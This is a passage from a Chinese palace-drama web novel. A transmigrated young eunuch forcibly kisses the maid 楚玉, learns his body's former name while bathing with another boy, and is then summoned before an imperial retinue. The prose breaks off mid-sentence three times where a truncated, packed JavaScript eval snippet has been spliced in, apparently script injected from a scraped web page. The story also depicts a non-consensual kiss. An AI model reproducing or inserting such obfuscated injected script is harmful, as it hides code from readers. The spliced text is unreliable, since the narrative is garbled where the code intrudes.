楚玉将他的惊惶尽收眼底,随即把诗笺轻轻放回案上,语气恢复了那种听不出情绪的平淡: “这首诗,还有上次那首,都给我烂在肚子里。从今往后,没有我的允许,不准再写一个字,也不准再提起你会胡诌诗句。” “做好你的小离子,办好你的差事。不该有的心思,不该会的本事,都藏好了。若再让我发现半点不妥……” 她的未尽之言,如同悬在关禧头顶的铡刀。 可铡刀下的关禧,此刻所有的血液逆流冲向了头顶,烧尽了他最后一点名为“理智”的东西。 怀疑?质问?壳子?是了,她早就看出来了,她那双眼睛,怕是早就将他这借尸还魂的孤魂野鬼,看了个透透彻彻! 恐惧到了极致,反而催生出一种破罐子破摔的勇气。去他爹的深宫规矩!去他爹的太监身份!去他爹的步步为营! 横竖都是死,被当作妖孽烧死,和因为冒犯被处死,有什么区别?至少……至少在这一刻,在眼前这个人面前,他不想再装了。 凭什么总是他被看穿?被质问?被逼到角落? 他的视线,不再闪躲,不再低垂,滑过她的脸颊,落在那张正吐出冰冷字句的嘴唇上。唇色是自然的淡樱粉,唇形优美,此刻微微抿着,显得有些无情。 电光火石间,他甚至没给自己思考的余地。 他一手撑住书案边缘,借着这股力道,不顾下身骤然撕裂般的剧痛,霍然起身。另一只手,猝然伸出,扶住了楚玉的脸颊。 触手微凉,肌肤细腻。 楚玉的瞳孔在瞬间放大,那里面清晰的探究和警告,被难以置信的惊愕覆盖。 关禧没有给她任何反应的时间。 他低下头,对着那双总是吐出让他心惊胆战话语的唇瓣,狠狠吻了上去。 不是温柔的触碰,而是碾压,是厮磨,是孤注一掷的封缄。唇齿间传来细微的痛感,带着血腥气的铁锈味在口腔里蔓延开,不知是他的,还是她的。 楚玉的身体骤然僵直。 那双总是沉静如古井的眼眸,在极近的距离里倏然睁大,清晰地映出关禧紧闭双眼的模样,她甚至能感觉到他扶着自己脸颊的手指在不受控制地轻颤,掌心带着滚烫的温度。 她没料到。无论如何揣测这个少年的异常,哪怕怀疑他壳子里换了魂,她也绝没料到他会用这种方式……反击?或者说,是另一种形式的崩溃? 唇上的压力真实而蛮横,气息灼热,混着他身上的药味和墨香,强势地入侵她的感官。时间仿佛被拉长,每一瞬都被切割成无数清晰的碎片,他颤抖的指尖,他绷紧的下颌线条,他唇上因干裂而略显粗糙的触感,还有那紧闭眼睫下,悄然滑落的一滴液体,顺着两人紧贴的皮肤缝隙,渗入她的唇畔,带着咸涩。 没有立刻推开。 或许是因为这变故太过突然,超出了所有宫闹算计的范畴,或许是因为那滴眼泪里蕴含过于沉重复杂的东西,短暂地攫住了她的心神。 但这静止只维持了极其短暂的几息。 楚玉眼底的震惊迅速沉淀,转化为更为幽暗难辨的浪潮。她抬起手,精准地扣住了关禧那只扶着她脸颊的手腕,指尖用力,几乎要掐进他的骨头里。 同时,她的头向后退开,结束了这个短暂突兀的接触。 空气重新流动,声音回归。 关禧被她扣着手腕,被迫拉开距离,踉跄了一下,险些再次摔倒,全靠撑着书案才稳住。他睁开了眼,眼眶通红,里面水光潋滟。 楚玉松开了他的手腕,那白皙的皮肤上立刻浮现出几道清晰的红痕。她后退一步,拉开了安全的距离,抬手,用指尖缓缓擦过自己的下唇,动作慢得令人心慌。她的脸上没什么明显的表情,但那双眼睛,却比任何时候都要幽深。 她的目光,—寸寸地审视着关禧。 从他通红的眼眶,到他微微红肿还沾着一点可疑湿意的嘴唇,再到他剧烈起伏的胸口,最后落回他同样残留着震愕的脸上。 书斋内死寂一片,只有午后的阳光流淌进来,将空气中飞舞的尘埃照得纤毫毕现,也将两人之间那复杂难言的对峙,映照得无比清晰。 “这就是你让我闭嘴的办法?” 关禧张了张嘴,喉咙里却像被什么东西堵住了,发不出任何声音。方才那股同归于尽的勇气如潮水般退去,留下的是冰冷黏腻的恐惧和更深的无地自容。 楚玉看着他惨白的脸,忽然极轻地笑了一声。 “小离子,”她再次唤出这个名字,“或者说……不管你究竟是谁。你知不知道,就凭刚才这一下,我立刻叫人进来,将你拖去慎刑司,你会有怎样的下场?” 关禧的身体抖了一下。 “凌迟?车裂?还是更有趣的死法?”楚玉向前迈了一小步,声音压得更低,只有他们两人能听见,“对宫女用强已是死罪,更何况……你这样的身份,对我?” 她的目光落在他疼痛难忍的下身,眼中闪过一丝极其复杂的晦暗,“你是觉得,反正秘密藏不住了,干脆拉我一起下水?还是……” “你真的,对我存了这般……不要命的心思?” “为什么不可以?!” 关禧的声音嘶哑破碎,像淬了火的刀子,在死寂的书斋里猛然划开一道裂口。 “你问我存了什么心思?”他往前踉跄半步,伤处的剧痛让他脸色更白,下颌线却绷得死紧,“那你呢?楚玉?” 他第一次如此毫不避讳地叫出这个名字,带着质问,带着控诉,也带着孤注一掷的绝望。 “浴堂门口,你拿着灯,问我愿不愿意留在承华宫,听你的话……那时你是什么心思?把我从派办处要过来,放在这书斋,放在你眼皮子底下,偶尔靠近,偶尔提点,偶尔又用那种……那种眼神看我,问我身子好了没有,问我是不是羡慕你们的情分……那时你又是什么心思?!” “是你先靠近的!是你先让我叫你的名字!是你一遍遍提醒我这张脸,这副身子!是你在所有人都忙着万寿节的时候,特意把我叫去暖阁,吃那份根本不是剩饭的饭!现在你又来问我存了什么心思?!” 他急促地喘着气,胸口剧烈起伏,每一声质问都像从肺腑里撕扯出来,带着血气。 “我是什么身份?我知道!我是个太监,是个不完整的、最低贱的阉人!我这条命,是你和娘娘捡回来的,是你们手里的棋子,是你们棋盘上一个有点用处、或许还能拿来讨好谁或者算计谁的小物件!我该感恩戴德,我该战战兢兢,我该把眼睛蒙上,把耳朵堵上,把嘴巴缝上,把心里那点不该有的、活得像个人的念头都掐死!” “可我掐不死!”他声音陡然拔高,又死死忍着,不让那眼泪掉下来,“我也怕死!我怕被打死,怕被拖去慎刑司,怕被送回去让王公公当成礼物献上去!我更怕你们!怕娘娘的心思深不见底,怕你看我的眼神,有时候像看一件器物,有时候又像……” 他顿住了,嘴唇颤抖着,后面的话太过大逆不道,太过危险,可他看着楚玉那双深不见底,因为他这番话而起了细微波澜的眼睛,一股邪火顶了上来。 “……又像在看一个,还有点意思的……玩物?或者,一个能让你在这漫漫长夜里,偶尔也觉得不那么孤寂的……消遣?” “你告诉我啊,楚玉!”他几乎是吼了出来,额角青筋隐现,“你把我放在这里,给我超出本分的差事,给我若有似无的亲近,给我看那些隐秘的谋划,现在又拿着我根本解释不清的诗句来逼问我,剖开我……你到底想从我这里得到什么?是想看我彻底驯服,变成一条只会摇尾巴的狗?还是想看我像现在这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你说得对。”她缓缓道,语气平淡得像在陈述一个与己无关的事实,“是我先靠近的。是我把你从王公公那里要过来的。是我让你留在承华宫,留在我身边。” “我确实想知道,你这张好看的皮囊下面,到底藏着什么。是只想活命的怯懦?是有点小聪明的野心?还是……别的什么更不寻常的东西。” “至于心思……”楚玉的唇角极轻微地勾了一下,那弧度冷得没有一丝温度,“你觉得,在这不见天日的地方,对着四面宫墙,对着永远算不尽的人心,对着一个……或许永远也无法真正触碰的人,我应该存着什么心思才算正常?” 她的指尖加重了力道,关禧觉得下颌骨有些发疼。 “羡慕?你羡慕我和娘娘?”她嗤笑一声,那笑声短促,“那你知不知道,这份情分,有时候比刀子还利,比毒药还苦?” 她松开了手,后退一步,重新拉开了距离,脸上那片刻的异常情绪消失无踪,又恢复了那种惯常带着疏离感的平静。 “但你说错了一点。我从来没把你当作玩物或消遣。至少,不仅仅是。你有用。比你自己想象的,或许更有用。对娘娘,对我,甚至……对你自己。” “今天的事,到此为止。你那些大逆不道的话,我当作没听见。你这……冒犯的举动,”她目光扫过他红肿的唇,眼神微暗,“我也暂且记下。” “但从现在起,把你那些乱七八糟的念头,不管是对我的,还是对你自己的,全都给我收起来。” “继续做你的小离子。做好娘娘和我交代的每一件事。把你那点异常的本事,用在正途上。” 她转身,走向门口,在推开门前,脚步微顿,侧过半张脸,光影在她清冷的侧颜上切割出明晰的线条。 “至于我存了什么心思……” 她的声音很轻,随风飘来,却字字敲在关禧心上。 “等你真正能在这宫里活下去,活到不用再问这种蠢问题的时候……或许,我会告诉你。” 32.第 32 章 门轻轻合拢。 关禧独自站在书斋中央,午后的阳光灿烂,透过窗棂,将空气中飞舞的尘埃照得纤毫毕现,却照不亮他此刻混沌一片的心。指尖还残留着楚玉脸颊微凉的触感,唇上那点因蛮横碾压而生的刺痛尚未完全消散,混合着舌尖隐约的血腥气,还有她最后那句话带来的冲击。 等他真正能活下去的时候…… 怎么活?像现在这样,顶着太监的身份,在娘娘和楚玉的股掌间,战战兢兢,如履薄冰?还是有朝一日,能挣脱这层皮囊,这身份,这牢笼? 他不知道。楚玉没有给出答案,她只是抛出了一个或许永远也触不到的未来。 身体传来一阵虚脱般的疲惫,夹杂着下身伤口因方才激动动作而加剧火烧火燎的疼痛。他扶着桌沿,慢慢滑坐到椅子上,脸埋进掌心。 书斋里寂静无声,只有他自己的呼吸,急促,而后渐渐平缓,最终归于一种死水般的沉寂。 不知坐了多久,窗外日影西斜,腹中传来清晰的饥饿感,胃部一阵阵地抽搐着,提醒他这具身体最基本的生存需求。 人是铁,饭是钢。再多的惊涛骇浪,悬而未决,也得先填饱肚子。 关禧缓缓抬起头,抹了把脸,脸上没什么表情。他撑着桌子站起身,动作牵扯到伤处,疼得他倒吸一口凉气,额角又渗出细密的冷汗。他咬着牙,慢慢挪到门口,推开门。 廊下夕阳的余晖带着暖意,洒在身上,却驱不散心底那层寒意。他低着头,沿着熟悉的路径,朝后院膳房走去。 越靠近膳房区域,饭菜的香气便越浓,混杂着油烟和人声。今日比往日更嘈杂些,隐约能听到一些兴奋的议论。 “……听说了吗?玉芙宫那位,可真是不得了!” “嘘!小声点!不过……太医署今早又去了两拨人,赏赐的车马都快把宫门堵了!” “啧啧,这才刚诊出喜脉几天?要是真生下个皇子……” “那咱们这后宫,怕是要变天喽!” 徐昭容有孕的消息,就像投入深潭的巨石,激起的涟漪已经扩散到了最底层。 关禧脚步未停,神色木然地走进膳棚。 棚屋内灯火通明,比往日更拥挤,许多人端着碗,三五成群地聚在一起,边吃边低声交谈,脸上带着或羡慕,或嫉妒,或事不关己的麻木。 他的出现,引来了一些目光。那些目光在他脸上停留片刻,又迅速移开。曹旺那伙人不在,或许是还在禁足,或许是被别的事绊住了。 关禧乐得清静,径直走到窗口。 掌勺的太监瞥了他一眼,眼神有些复杂,没说什么,照例舀了菜,递过馍馍。今日的菜色比前几日又好了一点点,杂烩菜里肉末多了些,能看到几片完整的肥肉。 关禧端着碗,环顾四周,想找个角落。目光扫过,见靠墙一张桌子旁,陈立德正独自一人坐着,慢条斯理地吃着饭。他面前除了例份的菜,竟还有一小碟额外的酱菜。 陈立德也看到了他,抬起眼皮,朝他这边望了一眼,没什么表示,只继续吃自己的。 关禧犹豫了一下,还是端着碗走了过去,在陈立德对面坐下,低声道:“陈公公。” 陈立德从鼻子里“嗯”了一声,夹起一片酱菜,放进嘴里慢慢嚼着,目光落在关禧没什么血色的脸上,“能下地了?看着还虚。” “谢公公关心,好多了。”关禧掰开馍馍,就着寡淡的菜汤吃着。饭菜入口,味道比闻着差远了,油腥味重,盐也放得狠,但他饿得狠了,也顾不得许多,大口吞咽着。 “好多了就成。”陈立德咽下嘴里的食物,喝了口汤,状似无意地说,“娘娘那边,万寿节后积了些琐碎账目,都是各宫支领赏赐、添置用度的零碎记录,需要核对清楚,归档备查。青黛姑娘说了,让你明儿个开始接手。” 关禧咀嚼的动作慢了一拍。让他核对各宫用度,尤其是玉芙宫风头正劲的时候……这差事,看似寻常,实则敏感。他想起冯昭仪在浴堂里说的“让该看见的人,看见该看见的东西”。 “是,小的明白。”他咽下食物,应道。 陈立德看了他一眼,想从他脸上看出些什么,但关禧此刻低眉顺眼,除了脸色差些,并无异样。 “嗯,用心做。”陈立德没再多说,只提醒了一句,“账目上的事,最要紧的是仔细,一笔一笔都对得上,谁也挑不出错。别的……少听,少问。” “小的谨记公公教诲。” 两人沉默地吃着饭。棚屋内嘈杂的议论声时高时低,大多围绕着玉芙宫的喜事,偶尔夹杂着对冯昭仪这边是否会失势的揣测。 关禧默默听着。这后宫的风向,变得比翻书还快。徐宛白凭借腹中骨肉,瞬间成了众人仰望巴结的对象,而承华宫这边,即便冯昭仪协理宫务,地位稳固,在子嗣这个巨大的筹码面前,也显得黯淡了些。底下这些太监宫女的议论,不过是这风向上最细微的尘埃。 他快速吃完碗里的食物,将最后一点馍馍塞进嘴里,又端起碗把菜汤喝尽。腹中的饥饿感被粗糙的食物填满,带来一种虚浮的饱胀感。 他向陈立德告退,起身将碗筷放到回收处,然后低着头,走出了膳棚。 夜色已经笼罩下来,宫灯次第亮起。 他沿着来路往回走,脚步因为身体的疼痛和虚弱而显得有些拖沓。 刚走到通往自己小屋的廊庑拐角,一个有些眼熟的小太监匆匆跑了过来,差点与他撞上。 那小太监稳住身形,借着廊下灯光看清是关禧,脸上立刻堆起讨好的笑容,压低声音道:“离子哥!可算找着你了!青黛姐姐让把这个给你。” 他说着,递过来一个用素帕包裹着的小包。 关禧心头一跳,接过。入手微沉,隔着帕子能感觉到温热。他打开一角,里面是两个还冒着热气的白面馒头,雪白松软,散发着纯粹的麦香,与他刚才在膳棚吃的黄面馍馍天壤之别。馒头下面,还垫着点什么。 “青黛姐姐说,你身子虚,膳房的伙食糙,让你垫补垫补。”小太监说完,也不敢多留,朝他躬了躬身,一溜烟跑了。 关禧站在原地,捏着那包还带着体温的馒头,看着那小太监消失在夜色中的背影,半晌没动。 垫补垫补…… 他慢慢走回自己的小屋,关上门,将油灯点亮。昏黄的光线下,他展开素帕。除了两个白面馒头,下面果然还垫着一个小纸包。打开,里面之前楚玉给他的那种安神茶饼。 她这是什么意思?打一棒子,给个甜枣?还是真的只是看他脸色太差,随手给的垫补? 关禧拿起一个馒头,触手温热柔软。他掰下一小块,放进嘴里。淡淡甜味的麦香在口腔里化开,远比膳棚那些粗砺的食物可口。他慢慢地,一口一口地吃着,胃里渐渐暖和起来。 吃完一个馒头,他拿起一块茶饼,凑到鼻端闻了闻,那股清苦的香气似乎能让人凝神静气。他没有泡,只是拿着,在油灯下静静看着。 楚玉的脸,楚玉的眼神,楚玉的话语,再次在脑海中浮现。那些冰冷,探究,警告,还有最后那句近乎承诺又更像陷阱的话…… 活下去。 他咀嚼着这三个字,将它们和白面馒头一起,咽进肚子里。 无论前路如何,无论楚玉存着什么心思,无论冯昭仪的谋划能否成功,无论徐昭容的肚子会不会改变这后宫格局…… 他得先活下去。 像一粒石缝里的草籽,哪怕被践踏,被忽视,也要抓住每一缕阳光,每一滴雨水,拼命地往下扎根,往上生长。 他将剩下的馒头和茶饼仔细包好,收进床头那个小木柜里,又在床边枯坐了片刻。 身下那处依旧一抽一抽地钝痛,黏腻的汗意和药味混合着,贴在皮肤上,像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是石头,正蹲在一个半旧木盆边,手里攥着块灰布巾,身上只穿着一件打满补丁的旧单衣,湿漉漉地贴在肩胛骨上,显然是刚擦洗完。他胖了些,面皮白白的,眼睛在昏暗光线下显得格外亮,此刻盛满了意外和一点小心翼翼的欢喜。 “石头?”关禧脚步顿了顿,朝他走过去,语气尽量放得平和,“这么巧。” “是、是啊!”石头连忙站起身,有些局促地在裤子上擦了擦湿手,“离子哥,你也来……你也这时候来洗澡啊?听说你在承华宫当差,我还以为……”他声音低下去,没好意思说以为关禧在那边有更好的条件,不会再来这大通铺般的沐房。 关禧在他旁边放下木盆,淡淡笑了笑:“哪里都一样。热水还有吗?” “还、还有点!我刚才看见钱公公拎了最后一桶进去,应该还没分完!”石头眼睛一亮,连忙指指沐房最里侧,那里有一扇小门,通向热水房,此刻门虚掩着,隐约透出热气和水缸碰撞的声响。 “我去看看。”关禧点点头,端起空盆朝里走。 石头看着他比在净舍时挺直了些的背影,还有身上那套虽然半旧但浆洗得干净整齐的靛青太监服,眼里闪过一丝不易察觉的羡慕。他犹豫了一下,端起自己那盆冷水,也跟了过去,小声道:“离子哥,我帮你看着东西。” 关禧没拒绝。 热水房很小,只容两三人转身,一个满面烟火色的老太监正将最后一点热水从一个巨大的铁锅里舀进木桶,见关禧进来,掀了掀眼皮:“没了,就这点底子,凑合着用吧。”说着,将那小半桶热气微薄的水倒进关禧的盆里。 “多谢公公。”关禧道了谢,又就着热水房角落一个专供兑凉水的木桶,加了半盆凉水,试了试温度,微温,刚好。 他端着兑好的水出来,石头亦步亦趋地跟着。 两人在靠墙一处稍微僻静些的空位停下。 这里离门口不远,通风稍好,灯光也更暗些。 33.第 33 章 关禧放下木盆,开始解外袍的系带,手指因为紧张和伤处的隐痛而有些僵硬,他深吸一口气,强迫自己动作利落些。 外袍脱下,露出里面同样洗得发白的棉布中衣。中衣的侧旁系带解开,单薄的布料滑落,少年清瘦却已开始显露男子骨架线条的身体暴露在昏黄朦胧的光线下。皮肤是久不见天日的苍白,肋骨形状隐约可见,胸前平坦,腰肢紧窄,在昏暗光线下,因那过分的瘦削和苍白,透出一种模糊了性别的易碎感。 他迅速弯腰,将脱下的中衣和外袍胡乱团在浴盆边,又飞快地解开裤带,褪下长裤。 当最后一点布料离开身体,他立刻扯过搭在浴盆边缘的布巾快速围在腰间,试图用这微薄的屏障隔断那些可能投来的视线,也遮挡住下身那让他痛恨又无力的残存。 做完这一切,他才松了口气。 石头在旁边磨蹭了一下,目光在关禧苍白瘦削的上身和腰间那简陋的布巾上飞快地扫过,又迅速移开,脸上泛起一点不自在的红晕,小声开口:“离子哥,你在承华宫,过得还好吗?” “还好,娘娘宽厚,差事也还顺当。”关禧语气平淡,听不出太多情绪,“你呢?还在王公公手下?活计重不重?” “我还好,就是些洒扫跑腿的活。”石头低下头,看着自己盆里清澈见底的冷水,“比在净舍时强些……至少,至少没人再欺负我了。”他顿了顿,像是想起什么,抬眼飞快地看了看关禧,“离子哥你……你身子好了?” “嗯,好多了。”关禧简单应道,不想多提伤势,他将布巾浸入温热的水中,拧了半干,开始擦拭脖颈和手臂,粗糙的湿布摩擦过皮肤,带来些许刺痛,也带走了黏腻。 “哦,那就好。”石头小声说,蹲在关禧的浴盆边,“离子哥,你穿这身旧衣,是特意来洗澡的?在承华宫……那边没有地方洗吗?” “有是有,规矩多,不如这里方便。”关禧含糊道,撩起水,泼在肩膀上,温热的水流顺着锁骨和胸前的凹陷滑下,留下一道道湿亮的水痕。他侧了侧身,用布巾擦拭后背,动作间,肩胛骨的形状清晰地凸起。 石头看着关禧沾湿后更显乌黑,贴在白皙颈侧的碎发,还有那随着动作若隐若现的线条肩臂,眼神有些发直,过了几秒才意识到自己的失态,慌忙低下头,盯着地面湿漉漉的水渍,耳朵尖更红了。 “离、离子哥……”他像是为了打破这沉默,也像是积攒了许久的话终于找到机会问,“你在承华宫……过得真的很好吧?我听说,冯昭仪娘娘人可好了,青黛姐姐也很厉害……你,你都比从前……好看多了。” 好看?关禧擦拭的动作微微一顿。他抬眼,透过氤氲的水汽看向石头。石头正偷偷抬眼看他,触及他的目光,又飞快地垂下,手指无意识地抠着地上的砖缝。 “不过是换了身整齐衣裳,吃了几顿饱饭。”关禧淡淡地说,这好看,是小离子的皮囊,是王公公挑选货物的标准,是楚玉审视探究的缘由,也是他一切麻烦和屈辱的根源之一。 “不、不一样的。”石头用力摇摇头,鼓起勇气,声音稍微大了点,“离子哥你以前在村里,就跟我们不一样。虽然离得远,我没跟你说过话,可村里人都知道,上河那边有个顶好看的男娃,叫……”他说着,脸上露出一点对美好事物的向往,“叫……景和。对,李景和。是这个名字吧?你爹娘好像是识点字的?给你起的名字也好听。景和,听着就亮堂,跟戏文里公子小姐的名字似的。不像我们,石头、铁柱、狗剩……” 景和。 李景和。 关禧擦拭后背的手僵在了半空,湿漉漉的布巾搭在肩头,温热水珠顺着脊椎的凹陷缓缓流下。 这是他第一次,真切地听到这具身体原本的名字。不是小离子,不是那个编号,透着阉人卑贱的称呼,而是一个完整的有着姓氏和寓意,属于一个农家少年的人生符号,李景和。 景和……景致祥和?还是其他什么寓意?他无从知晓。但这个名字,像一道来自另一个时空的光,短暂地照亮了这具苍白躯壳背后,那个早已消失在尘埃中名叫李景和的少年模糊的影子。他有父母,或许也曾被寄予过朴素的期望,有一个听起来亮堂的名字,然后,为了活下去,被送进这不见天日的地方,变成了小离子。 关禧感到一阵莫名的眩晕,胸口像是被什么东西堵住了,闷闷地发疼。 石头没察觉他的异样,还在自顾自地说着,像是打开了话匣子:“那时候我们下河的孩子,有时候跑远玩,到你们上河附近,偶尔能远远看见你。你总是一个人,不太跟别的孩子耍,有时候在河边发呆,有时候帮家里捡柴……但就是……就是长得特别扎眼,白净,眉眼跟画出来似的。村里的大娘婶子们私下都说,这娃生错了地方,这模样,该是城里大户人家的少爷……”他忽然意识到这话在宫里说有些不妥,连忙住口,忐忑地看着关禧。 关禧缓缓放下手臂,转过身,面对着石头。氤氲的水汽模糊了他的眉眼,也模糊了他此刻复杂难言的神情。腰间那块湿布巾堪堪遮住关键,却挡不住他清瘦身体上那几道尚未完全消退的淡红伤痕,和过分苍白的肤色形成的对比。水珠顺着他湿透的黑发发梢滴落,滑过锁骨,没入布巾边缘。 “景和……”他低声重复了一遍这个名字,像是在咀嚼一个陌生又带着重量的词汇。原来这具身体,曾经有过这样一个名字。李景和。不是关禧,也不是小离子。 石头被他这反应弄得有些不安,嗫嚅道:“离子哥……我是不是说错话了?我……” “没有。”关禧打断他,声音有些沙哑。他闭了闭眼,再睁开时,眸中那些翻涌的情绪被强行压下,只余一片深沉的疲惫和晦暗,“只是很久没人提这个名字了。都快忘了。” 他弯腰,从浴盆里掬起一捧温热的水,泼在脸上,用力搓了搓。水流冲走了他脸上可能泄露的情绪,也带来片刻的清明。 “谢谢你,石头。让我想起了点以前的事。” 石头懵懂地点点头,觉得离子哥好像有哪里不一样了,但又说不出来。他看着关禧沉默地继续擦洗身体,动作比刚才更慢,也更用力,仿佛要洗去什么看不见的东西。那苍白的皮肤在粗糙布巾的摩擦下泛起淡淡的红痕,湿透的黑发贴在颊边,侧脸在昏黄油灯光晕中,线条清晰得有些锋利,又莫名透着一股脆弱。 他不敢再多话,蹲在旁边,看着关禧洗完了上身,又就着布巾的遮掩,草草处理了下身和腿脚。 整个过程中,关禧都微微侧着身,尽量避免将身体完全暴露在石头的视线里,但石头还是不可避免地在一些动作间隙,看到了那被布巾半遮半掩,属于阉人残缺却又残存着些许特征的部位,以及旁边隐约可见尚未完全愈合的狰狞伤口。石头的脸更红了,这次是带着惊恐和同情的红,他迅速移开目光,心里酸酸涩涩的,为离子哥,也为自己未知的命运。 关禧很快洗完了。他用那块湿布巾胡乱擦了擦身体,也顾不上是否擦得干净,便伸手去够木架上的干净旧衣。 指尖触到干燥柔软的棉布,他停顿了一下,低声对还蹲在一旁的石头说:“时辰不早了,快回去吧。自己多保重。” 石头“哎”了一声,站起身,依依不舍地看了关禧一眼,又低低说了句“离子哥你也保重”,这才转身,身影很快消失在沐房门口朦胧的光晕和水汽里。 关禧独自站在原处,手里捏着那套干净的旧衣,却没有立刻穿上。 沐房内,其他几个洗澡的太监也陆续洗完了,低声交谈着离开。 油灯的光晕在氤氲未散的水汽中晃动,将他孤零零的影子投在湿漉漉的地面和斑驳的墙壁上,扭曲,拉长。 景和。李景和。 关禧在心里又默念了一遍这个名字。一个早已死去的农家少年的名字,一个她未曾谋面,却占据了他此刻身躯的陌生人的人生印记。 而,关禧,一个来自异世的孤魂,顶着这个陌生的名字,这具残缺的身体,在这吃人的深宫里,挣扎求生,前路茫茫。 他缓缓地,将那身干净的旧衣套上,系好衣带,整理好头发,戴好太监帽,又吹熄了沐房最后一盏油灯,按规定,最后一个离开的人需这么做。 然后推开门,迈入外面沉沉的夜色。 关禧独自走在返回承华宫西厢的青石小径上。 夜色浓稠如墨,将白日里精心修剪的花木与朱红廊柱都吞噬成模糊的暗影。方才沐房的水汽早已被夜风吹散,只余下布衣贴在身上微凉的黏腻感。周遭寂静得过分,连一贯扰人的夏虫似乎也噤了声,只有他刻意放轻的脚步声,以及腰间牙牌偶尔碰触衣摆的细微磕响,在这过分的安静里显得格外清晰。 他垂着头,思绪还沉浸在李景和这个名字带来的短暂恍惚里,以至于当他习惯性地拐过最后一道月亮门,抬头望见承华宫前殿方向时,整个人僵在了原地。 灯。 不是平日里廊下悬挂用以照路光线昏黄的气死风灯。也不是殿内常用柔和雅致的琉璃宫灯。 而是灼灼明亮,几乎将前殿及周围庭院照得如同白昼般的灯火。正殿,东西配殿,乃至连接的回廊,每一扇窗棂后都透出通明的光,檐下,廊柱间,不知何时悬起了无数崭新绘着金龙祥云的大红宫灯,烛火在灯罩内跳跃,将朱漆描金的梁柱映得一片辉煌灿烂,连殿前汉白玉的台阶和栏杆都反射着温润的光泽。 这排场,这灯火…… 关禧的心脏骤然缩紧,一股寒意从尾椎骨窜上头顶,而更让他浑身血液冻结的,是殿前庭院中,那黑压压肃立着的人影。 清一色的石青色曳撒,腰束鸾带,头戴三山帽,面白无须,个个垂手敛目,姿态恭谨,立在通明的灯火下,将通往正殿的道路拱卫得密不透风。他们的人数之多,几乎站满了前院所有空地,却无一丝杂音,连呼吸声都仿佛被这肃穆的灯火与夜色吞噬了。 这些人,他一个都不认识。绝不是承华宫的太监。 能在这深宫之中,于入夜后摆出这般骇人阵仗,让整个承华宫如同被无形之力从内部点亮,又用如此多陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关禧动作瞬间僵住,保持着向前倾身,半只脚已踏入阴影的姿势,再也不敢挪动分毫。 他极其缓慢地,一点一点地转过头。 只见距离他约莫几步开外的回廊转角处,竟悄无声息地立着一个人。 那人同样穿着石青色曳撒,但料子显然更加挺括精致,在灯火映照下泛着柔润的光泽。腰间鸾带上悬着的玉佩和牙牌形制也与众不同。他约莫四十许岁年纪,面皮白净,下颌光滑,眉眼细长,脸上没什么表情,只一双眼睛微微眯着,正静静地打量着僵在原地的关禧。 关禧认得这身打扮和气度,这是御前近侍,而且是品阶极高的那种,很可能是司礼监的随堂太监,甚至是……掌印太监身边得用的人。 皇帝贴身太监! 完了。 这两个字像烧红的烙铁,烫在关禧濒临崩溃的神经上,他张了张嘴,喉咙却干涩得发不出任何声音,只能徒劳地翕动了两下。 那高阶太监的目光,从关禧惊恐失色的脸,滑到他身上那套半旧不新,甚至因为匆忙而略显凌乱的靛青色太监服,再落到他腰间那块最普通属于承华宫低等内侍的牙牌上,最后,又回到他那张即使在惨白惊惶下也难掩精致昳丽的脸上。 太监的眼中,几不可察地掠过一丝极其细微的了然,随即又恢复成一潭深水。 “你是承华宫的奴才?”他开口,语气平缓,“这个时辰,不在该在的地方候着,在此处探头探脑,意欲何为?” 关禧扑通一声跪倒在地,额头重重磕在冰冷潮湿的青石板上,发出沉闷的响声,他伏低身体,声音抖得不成样子:“小、小的小离子,是承华宫书斋伺候笔墨的……刚、刚去沐房洗漱归来,不知、不知圣驾在此……惊、惊扰了公公,罪该万死!小的这就回、回屋去……”他语无伦次,只想尽快离开这令人窒息的地方。 “小离子……”那太监重复了一遍这个名字,若有所思,“既是承华宫的人,此刻便该在前头候着听宣,怎可私自躲回后头?规矩都学到哪里去了?” 关禧伏在地上,冷汗浸透了单薄的中衣,紧贴着颤抖的脊背。 听宣?去前头候着?不,他死也不要! “小的……小的身份卑贱,形貌粗陋,恐、恐污了圣目……且、且身上带伤,仪容不整,实在不敢近前……”他绞尽脑汁找着借口,声音越来越低。 那太监闻言,眉梢几不可察地动了一下,目光再次扫过关禧因为伏跪而更显单薄的背影,和那截露出苍白纤细的后颈。 “仪容不整?”他轻轻哼了一声,听不出喜怒,“既知仪容不整,更该谨言慎行,安分守己。起来吧。” 关禧如蒙大赦,又不敢真的放松,挣扎着想起身,却因为跪得太久加上极度紧张,腿脚发软,趔趄了一下才勉强站稳。 那太监不再看他,转身,朝着前殿灯火通明的方向,淡淡吩咐了一句:“跟着。” 说完,他便迈步向前走去,步伐不疾不徐。 34.第 34 章 关禧的腿像灌了铅,每一步都重若千钧,又仿佛踩在云端,虚浮得随时会坠落。他垂着头,机械地跟在那抹石青色曳撒的后面,视线死死锁住对方衣摆,不敢偏移分毫。 前方那片灼灼的灯火越来越近,越来越亮。空气里属于帝王的龙涎香气混杂着烛火燃烧的微焦气息,沉甸甸地压下来,让他每一次呼吸都变得艰难。 前殿庭院中肃立的石青色身影,随着他们的走近,无声地向两侧退开,让出一条通向正殿的通道。 无数道视线,或明或暗,落在关禧身上。 关禧能感觉到那些目光刮过他低垂的脸颊,单薄的肩颈,还有那身与这庄严场合格格不入的旧衣,他把自己缩得更紧,恨不得能缩进地缝里,或者就此消失。 